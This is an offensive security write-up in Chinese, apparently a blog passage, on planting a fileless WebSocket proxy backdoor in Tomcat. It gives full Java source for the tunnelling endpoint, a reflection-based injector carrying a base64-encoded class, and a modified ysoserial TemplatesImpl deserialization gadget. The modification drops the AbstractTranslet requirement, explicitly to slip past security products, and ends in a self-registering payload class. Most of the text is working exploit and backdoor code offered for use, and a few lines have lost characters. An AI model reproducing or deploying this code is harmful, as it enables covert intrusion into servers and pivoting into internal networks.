import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class ProxyEndpoint extends Endpoint implements CompletionHandler<Integer, ProxyEndpoint>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
@Override
public void completed(Integer result, ProxyEndpoint attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable exc, ProxyEndpoint attachment) {
}
@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i ;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);
this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}
步骤1实现比较简单,去除内部类后,只会生成一个class文件,利用起来优雅了一丝。
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQBBwoAPQCRCQA3AJIHAJMKAAMAkQkANwCUBwCVCgAGAJEJADcAlgkANwCXCgA7AJgKADsAmQoAOQCaCgA7AJsKAAMAnAoAAwCdCgA7AJ4JADcAnwsAoAChCwCgAKILAKMApAkANwClCgA3AKYHAKcJADcAqAoANwCpAwAAw1AKADsAqgoAHwCrCwCgAKwKAAYArQcArgoAHwCvCwCwALEKADsAsgcAswoAOwC0CgAjALUIALYKACMAtwgAuAoAHwC5CgA5ALoHALsKACsAvAoAHwC9BQAAAAAAAAAKCQC AL8LALAAwAgAwQsAowDCCgAGAMMIAMQLAKAAxQcAxgoANwDHBwDICgA3AMkHAMoKADcAywcAzAcAzQcAzwEAAWkBAAFKAQAHc2Vzc2lvbgEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAZjbGllbnQBAC1MamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDsBAAdjaGFubmVsAQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEYmFvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANtYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJU2lnbmF0dXJlAQBUTGphdmEvdXRpbC9IYXNoTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOz47AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MUHJveHlFbmRwb2ludDsBAAljb21wbGV0ZWQBACUoTGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50OylWAQADYXJyAQACW0IBAAFiAQABcQEABnJlc3VsdAEAE0xqYXZhL2xhbmcvSW50ZWdlcjsBAAphdHRhY2htZW50AQANU3RhY2tNYXBUYWJsZQcAWQcAygcApwEABmZhaWxlZAEAJyhMamF2YS9sYW5nL1Rocm93YWJsZTtMUHJveHlFbmRwb2ludDspVgEAA2V4YwEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEACW9uTWVzc2FnZQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEACmJ5dGVCdWZmZXIBAA5yZWFkRnJvbVNlcnZlcgEASShMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7KVYBAAdwcm9jZXNzAQAxKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAZ2YWx1ZXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAVhcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlhZGRyYXJyYXkBAAJwbwEAAUkBAAtob3N0QWRkcmVzcwEAHExqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzczsBAAZmdXR1cmUBAB1MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAAXoBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L0Z1dHVyZTxMamF2YS9sYW5nL1ZvaWQ7PjsHAMYHANAHALMHAHMHAK4HALsHANEBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAZjb25maWcBACBMamF2YXgvd2Vic29ja2V0L0VuZHBvaW50Q29uZmlnOwEAKihMamF2YS9sYW5nL1Rocm93YWJsZTtMamF2YS9sYW5nL09iamVjdDspVgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABVdob2xlAQAMSW5uZXJDbGFzc2VzAQCgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50Oz47TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEMAE8AUAwAQABBAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAEkASgEAEWphdmEvdXRpbC9IYXNoTWFwDABLAEwMAEcASAwA0gDTDADUANUMANYA1wwA2ADZDADaANsMANwA3QwA3gDfDABGAEMHANAMAOAA1QwA4QDjBwDlDADmAGgMAEQARQwAagBrAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQgBDDABsAG0MAOcA6AwA6QDqDADrAOwMANgA7QEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMANoA7gcA0QwA2ADvDADwANMBABBqYXZhL2xhbmcvU3RyaW5nDAByAN0MAE8A8QEAASAMAPIA8wEAAToMAPQA9QwA9gD3AQAaamF2YS9uZXQvSW5ldFNvY2tldEFkZHJlc3MMAE8A AwA QD6BwD7DAD8AP0MANgA/gEAJEhUVFAvMS4xIDUwMyBTZXJ2aWNlIFVuYXZhaWxhYmxlDQoNCgwA/wEADAEBAQIBACdIVFRQLzEuMSAyMDAgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZA0KDQoMAQMBBAEADVByb3h5RW5kcG9pbnQMAGMAZAEAEWphdmEvbGFuZy9JbnRlZ2VyDABWAFcBABNqYXZhL25pby9CeXRlQnVmZmVyDABnAGgBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgcBBQEAJGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZQEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwEGAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEACGFsbG9jYXRlAQAYKEkpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEcmVhZAEATyhMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI7KVYBAAVnZXRJZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBADQoTGphdmEvbmlvL0J5dGVCdWZmZXI7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAUKClMamF2YS9sYW5nL09iamVjdDsBAARmbGlwAQAFKFtCKVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABG9wZW4BAC8oKUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEAB2Nvbm5lY3QBADcoTGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAdamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQBAAdTRUNPTkRTAQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEANChKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OylMamF2YS9sYW5nL09iamVjdDsBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARYWRkTWVzc2FnZUhhbmRsZXIBACMoTGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcjspVgEAHmphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcgEAHmphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludAAhADcAPQACAD4APwAHAAAAQABBAAAAAABCAEMAAAABAEQARQAAAAEARgBDAAAAAABHAEgAAAAAAEkASgAAAAAASwBMAAEATQAAAAIATgAKAAEATwBQAAEAUQAAAFYAAwABAAAAICq3AAEqCbUAAiq7AANZtwAEtQAFKrsABlm3AAe1AAixAAAAAgBSAAAAEgAEAAAADgAEAA8ACQAUABQAFQBTAAAADAABAAAAIABUAFUAAAABAFYAVwABAFEAAAGSAAQABgAAALkqtAAJtgAKVyq0AAm2AAuZAG8rtgAMmwBoK7YADLwITiq0AAktAyu2AAy2AA06BCq0AAUtAyu2AAy2A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");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}
步骤2 反序列化codefile不继承AbstractTranslet
为什么不继承AbstractTranslet代码执行会失败?
部分gadget通过调用getter方法能够调用到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
getOutputProperties->newTransformer->getTransletInstance,在getTransletInstance中调用了defineTransletClasses方法来生成一个类然后实例化。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在defineTransletClasses方法中,通过loader.defineClass(_bytecodes[i]);生成了类后,回到getTransletInstance方法后实例化。
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i ) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在defineTransletClasses方法中,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put( _class [i].getName(), _class [i]);
观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。
private transient Map<String, Class<?>> _auxClasses = null;
再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。
另外还存在一个_transletIndex < 0时,就会抛出异常中断的限制,_transletIndex默认为-1。在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i ) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。
private int _transletIndex = -1;
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
_transletIndex = gf.get("_transletIndex", -1);
所以只要满足两个条件即可实现去除AbstractTranslet:
1、classCount也就是生成类的数量大于1
2、_transletIndex >= 0
在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
再回到原始ysoserial的createTemplatesImpl方法中,可以发现 ysoserial在设置templates的_bytecodes属性时确实传了两个类的bytes进去。但是在之前缩短payload的浪潮中,我移除了Foo.class。
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\""
command.replace("\\", "\\\\").replace("\"", "\\\"")
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
还原Foo.class后再加上_transletIndex即可。
else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
System.out.println(command);
System.err.println("Java File Mode:" Arrays.toString(classBytes));
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
Codefile 不继承AbstractTranslet
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}
依然实现了代码执行。
在解决了AbstractTranslet的问题之后,反序列化的codefile就可以直接继承Endpoint了,同时部分安全产品有检测AbstractTranslet关键字,去掉之后也许也能起一些作用。
最终反序列化中wsProxy的codefile:
import javax.servlet.ServletContext;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class Tomcat_add_wsProxy extends Endpoint implements CompletionHandler<Integer, Tomcat_add_wsProxy>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static HashSet<Object> h;
static ServletContext s;
private static boolean i(Object obj) {
if (obj != null && !h.contains(obj)) {
h.add(obj);
return false;
} else {
return true;
}
}
private void p(Object o, int depth) throws DeploymentException, DeploymentException {
if (depth <= 52 && s == null) {
if (!i(o)) {
if (s == null && ServletContext.class.isAssignableFrom(o.getClass())) {
s = (ServletContext)o;
String path = "/proxy";
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(this.getClass(), path).build();
ServerContainer container = (ServerContainer)s.getAttribute(ServerContainer.class.getName());
if (s.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
s.setAttribute(path, path);
}
}
this.F(o, depth 1);
}
}
}
private void F(Object start, int depth) {
Class n = start.getClass();
do {
Field[] var4 = n.getDeclaredFields();
int var5 = var4.length;
for(int var6 = 0; var6 < var5; var6) {
Field declaredField = var4[var6];
declaredField.setAccessible(true);
Object o = null;
try {
o = declaredField.get(start);
if (!o.getClass().isArray()) {
this.p(o, depth);
} else {
Object[] var9 = (Object[])((Object[])o);
int var10 = var9.length;
for(int var11 = 0; var11 < var10; var11) {
Object q = var9[var11];
this.p(q, depth);
}
}
} catch (Exception var13) {
}
}
} while((n = n.getSuperclass()) != null);
}
public Tomcat_add_wsProxy() {
h = new HashSet();
this.F(Thread.currentThread(), 0);
}
@Override
public void completed(Integer result, Tomcat_add_wsProxy attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable exc, Tomcat_add_wsProxy attachment) {
}
@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i ;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);
this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}